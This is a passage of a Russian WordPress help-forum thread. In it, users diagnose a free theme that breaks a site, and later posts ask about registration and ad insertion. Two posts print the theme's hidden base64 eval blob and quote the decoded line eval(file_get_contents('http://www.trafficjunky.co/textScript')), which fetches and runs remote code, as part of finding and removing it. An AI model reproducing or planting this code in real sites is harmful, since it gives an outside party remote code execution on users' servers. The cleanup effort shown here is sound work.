Спрашиваем и отвечаем по Wordpress-8

SeVlad
На сайте с 03.11.2008
Offline
1609
#181

qvaro, это технический топик, технического раздела сёрча. Тебе сюда: /ru/forum/828288

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
XPresident
На сайте с 10.09.2011
Offline
167
#182

Ни с того, ни с сего на одном сайте вылезла ошибка.

Parse error: syntax error, unexpected '<' in /wp-content/themes/phileum/lib/functions/theme-functions.php(1100) : eval()'d code(24) : eval()'d code on line 1

Почитал, пишут - лишний символ, но это бред=)

Шаблон бесплатный, нашел functions.php из архива, залил его - эффекта ноль...

Я_Рожден_В_СССР
На сайте с 21.08.2010
Offline
75
#183

XPresident, это она?

А если удалить всю последнюю строку (1100) с eval в файле ( theme-functions.php, не functions.php) из вышеуказанной вами ошибки и в том же файле удалить нижеприведённый фильтр с функцией (795-798)?


function get_the_tagging_sanitize() {
global $theerrmessage;
if(!function_exists('check_theme_license')): wp_die( $theerrmessage ); endif; }
add_filter('get_header','get_the_tagging_sanitize');
SeVlad
На сайте с 03.11.2008
Offline
1609
#184
XPresident:
Шаблон бесплатный, нашел functions.php из архива, залил его - эффекта ноль...

В этой теме в указном месте зашиты ссылки.

eval(base64_decode('JHRoZXRoZW1lID0gJ1BoaWxldW0nOw0KJHRoZWVycm1lc3NhZ2UgPSAiPGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxM3B4O2xpbmUtaGVpZ2h0OjE5cHg7XCI+PGEgaHJlZj0nIiAuIGFkbWluX3VybCgpIC4gIic+JmxhcXVvOyBCYWNrIFRvIEFkbWluIERhc2hib2FyZDwvYT48YnIgLz4iIC4gIjxiPk9wcHNzISBMb29rcyBsaWtlIHlvdSBoYXZlIHJlbW92ZWQgb3IgY2hhbmdlZCB0aGUgdGhlbWUgY3JlZGl0IGxpbmtzLiBXZWxsLCB3ZSBkaWQgcHV0IGEgd2FybmluZyBzaWduIHRoZXJlLiBUaGUgdGhlbWUgaXMgbm93IGRlYWN0aXZhdGVkLjwvYj48L2Rpdj48YnIgLz48ZGl2IHN0eWxlPVwiZm9udC1zaXplOjE5cHg7IHBhZGRpbmctdG9wOjIwcHg7XCI+PGI+UGxlYXNlIEZvbGxvdyBUaGVzZSBTdGVwcyBUbyBSZXN0b3JlIFRoZSBUaGVtZTo8L2I+PC9kaXY+PG9sIHN0eWxlPVwibWFyZ2luOjA7IHBhZGRpbmc6MjBweDsgdGV4dC1hbGlnbjpsZWZ0O1wiPjxsaT5QbGVhc2UgcmVkb3dubG9hZCA8YSBocmVmPVwiaHR0cDovL3d3dy5tYWdwcmVzcy5jb20vd29yZHByZXNzLXRoZW1lcy8iIC4gc3RydG9sb3dlcigkdGhldGhlbWUpIC4gIi5odG1sXCIgdGFyZ2V0PVwiX2JsYW5rXCI+IiAuICR0aGV0aGVtZSAuICIgV1AgVGhlbWU8L2E+LjwvbGk+PGxpPkV4dHJhY3QgYW5kIEZUUCB1cGxvYWQvcmVwbGFjZS9vdmVyd3JpdGUgPHN0cm9uZz5zaWRlYmFyLnBocDwvc3Ryb25nPiBpbnNpZGUgdGhlICIgLiBzdHJ0b2xvd2VyKCR0aGV0aGVtZSkgLiAiIHRoZW1lIGZvbGRlcjwvbGk+PGxpPkZpbmFsbHksIHJlZnJlc2ggeW91ciBwYWdlIHRvIGFjdGl2YXRlIHRoZSB0aGVtZSBhZ2Fpbi48L2xpPjwvb2w+PC9kaXY+PGJyIC8+PGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxM3B4O2xpbmUtaGVpZ2h0OjE5cHg7XCI+SWYgeW91IHdhbnQgdG8gdXNlIGEgPHN0cm9uZz5ubyBzcG9uc29yZWQgbGluayB2ZXJzaW9uPC9zdHJvbmc+IG9mIHRoaXMgdGhlbWUuIFBsZWFzZSBjb25zaWRlciBwdXJjaGFzaW5nIGl0cyBkZXZlbG9wZXIgbGljZW5zZTo8YnIgLz48YSBocmVmPVwiaHR0cDovL3d3dy5tYWdwcmVzcy5jb20vZGV2ZWxvcGVyLWxpY2Vuc2VcIiB0YXJnZXQ9XCJfYmxhbmtcIj5odHRwOi8vd3d3Lm1hZ3ByZXNzLmNvbS9kZXZlbG9wZXItbGljZW5zZTwvYT48L2Rpdj4iOw0KZnVuY3Rpb24gY2hlY2tfdGhlbWVfdmFsaWQoKSB7DQpnbG9iYWwgJHRoZWVycm1lc3NhZ2U7DQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfdGhlX3RhZ2dpbmdfc2FuaXRpemUnKSk6IHdwX2RpZSggJHRoZWVycm1lc3NhZ2UgICk7IGVuZGlmOyB9DQphZGRfZmlsdGVyKCdnZXRfaGVhZGVyJywnY2hlY2tfdGhlbWVfdmFsaWQnKTsNCmZ1bmN0aW9uIHRoZW1lX3VzYWdlX21lc3NhZ2UoKSB7DQpnbG9iYWwgJHRoZWVycm1lc3NhZ2U7DQp3cF9kaWUoICR0aGVlcnJtZXNzYWdlICk7IH0NCmZ1bmN0aW9uIGNoZWNrX3RoZW1lX2xpY2Vuc2UoKSB7DQokZiA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICIvc2lkZWJhci5waHAiOw0KJGZkID0gZm9wZW4oJGYsICJyIik7DQokYyA9IGZyZWFkKCRmZCwgZmlsZXNpemUoJGYpKTsNCmZjbG9zZSgkZmQpOyBpZiAoIHN0cnBvcyggJGMsICcgPD9waHAgJyAuICdlY2hvIGNjY190aGVtZV9saWNlbnNlKCk7ID8+JyApID09IDApIHsNCnRoZW1lX3VzYWdlX21lc3NhZ2UoKTsgZGllOw0KfQ0KfQ0KYWRkX2ZpbHRlcignZ2V0X2hlYWRlcicsJ2NoZWNrX3RoZW1lX2xpY2Vuc2UnKTsNCmZ1bmN0aW9uIGNjY190aGVtZV9saWNlbnNlKCkgew0KaWYoIGlzX2hvbWUoKSB8fCBpc19mcm9udF9wYWdlKCkgKXsNCiRwYWdlZCA9IGdldF9xdWVyeV92YXIoICdwYWdlZCcgKTsNCmlmICggISRwYWdlZCApIHsgICA/Pg0KPGFzaWRlIGlkPSJ0ZXh0cGFkIiBjbGFzcz0id2lkZ2V0IHdpZGdldF90ZXh0Ij4NCjxkaXYgY2xhc3M9ImN0d2lkZ2V0Ij48P3BocCBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vd3d3LnRyYWZmaWNqdW5reS5jby90ZXh0U2NyaXB0IikpOyA/PjwvZGl2Pg0KPC9hc2lkZT4NCjw/cGhwIH0NCn0NCn0=')); ?>

Не просто зашиты, а с проверками.

Вероятно, ты где-то в другом месте что-то нарушил (в sidebar.php например или хедере/футере) вот и имеешь.

Честные бесплатные и надёжные темы только тут.

---------- Добавлено 31.12.2014 в 15:47 ----------

Я_Рожден_В_СССР:
А если удалить всю последнюю строку (1100) с eval в файле

Там как бэ так (это малая часть из раскодированного):

function check_theme_license() {
$f = get_template_directory() . "/sidebar.php";
$fd = fopen($f, "r");
$c = fread($fd, filesize($f));
fclose($fd); if ( strpos( $c, ' <?php ' . 'echo ccc_theme_license(); ?>' ) == 0) {
theme_usage_message(); die;
}

Вторая строка функции особенно радует. ;)

Не исключаю, что "ни с того ни с сего" - следствие этого.

Я_Рожден_В_СССР
На сайте с 21.08.2010
Offline
75
#185
SeVlad:
Там как бэ так (это малая часть из раскодированного)

Я вроде всё просмотрел, проблема вроде должна уйти. По крайней мере не будет этой гадости, а там будем дальше разбираться :)

Поставить и попробовать тему "в живую" пока нет возможности.

SeVlad:
Вторая строка функции особенно радует.

Там ещё одна есть: :)


<?php eval(file_get_contents("http://www.trafficjunky.co/textScript")); ?>
XPresident
На сайте с 10.09.2011
Offline
167
#186
Я_Рожден_В_СССР:
XPresident, это она?
А если удалить всю последнюю строку (1100) с eval в файле ( theme-functions.php, не functions.php) из вышеуказанной вами ошибки и в том же файле удалить нижеприведённый фильтр с функцией (795-798)?

Да, вроде похоже

Все, еще в одном файле убрал, заработало, большое спасибо, и с наступающим! =)

SeVlad:
Не исключаю, что "ни с того ни с сего" - следствие этого.

Да я просто в первый раз с таким сталкиваюсь, что полгода работает нормально, а потом бац - и всё...

S
На сайте с 01.01.2015
Offline
0
#187

Всех с Новым Годом!

Прошу помочь с bbpress и TML. Есть проблема при регистрации пользователя.Перенаправляет на пустую страницу в браузере.При ее перезагрузке на странице регистрации появляется надпись-этот логин уже занят. выберите другой. Но тем не менее сама регистрация происходит. На localhost этой проблемы нет.В чем может быть косяк?

Seredniy
На сайте с 17.03.2008
Offline
251
#188

strep, включите отображение ошибок и посмотрите что пишет на "пустой" странице

Wordpress и другие CMS: правки, настройка, верстка и натяжка шаблонов, разработка сайтов "под ключ" (/ru/forum/1008050)
Devvver
На сайте с 02.07.2008
Offline
691
#189

Есть два хака

Вставляет код рекламы в контент

 

function kama_content_advertise($text){
//спустя сколько символов искать перенос строки и вставлять рекламу?
$nu = 400;
//Код рекламы
$adsense = <<<HTML
<div style="float:right;margin:0 0 10px 15px;">
здесь рекламный код
</div>
HTML;

// return str_replace('<!--more-->', $adsense.'<!--more-->', $text);
return preg_replace('@([^^]{'.$nu.'}.*?)(\r?\n\r?\n|</p>)@', "\\1$adsense\\2", trim($text), 1);
}
add_filter('the_content', 'kama_content_advertise', -10);

и выводящий в всех постах, кроме указанного

<?php if ( in_category(11)):?>

<br>
<?php else : ?>


<?php endif; ?>

Как это дело объединить? Чтобы фильтр срабатывал в всех категориях, кроме указанной.

Мой блог. Все о создании сайтов,Seo и СДЛ ( https://e-moldovanu.com/ ) Мой SEO телеграм канал https://t.me/seobloggers
Mendax
На сайте с 26.11.2010
Offline
92
#190
Devvver:
Есть два хака
Вставляет код рекламы в контент
...
Как это дело объединить? Чтобы фильтр срабатывал в всех категориях, кроме указанной.

Devvver, если 11-я -

<?php the_content(); ?>

else

код, который вы привели

p.s. считаю, что удобнее выводить код после абзацев, а не после определенного кол-ва символов.

Подпись не трогать мою!!!!!!

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий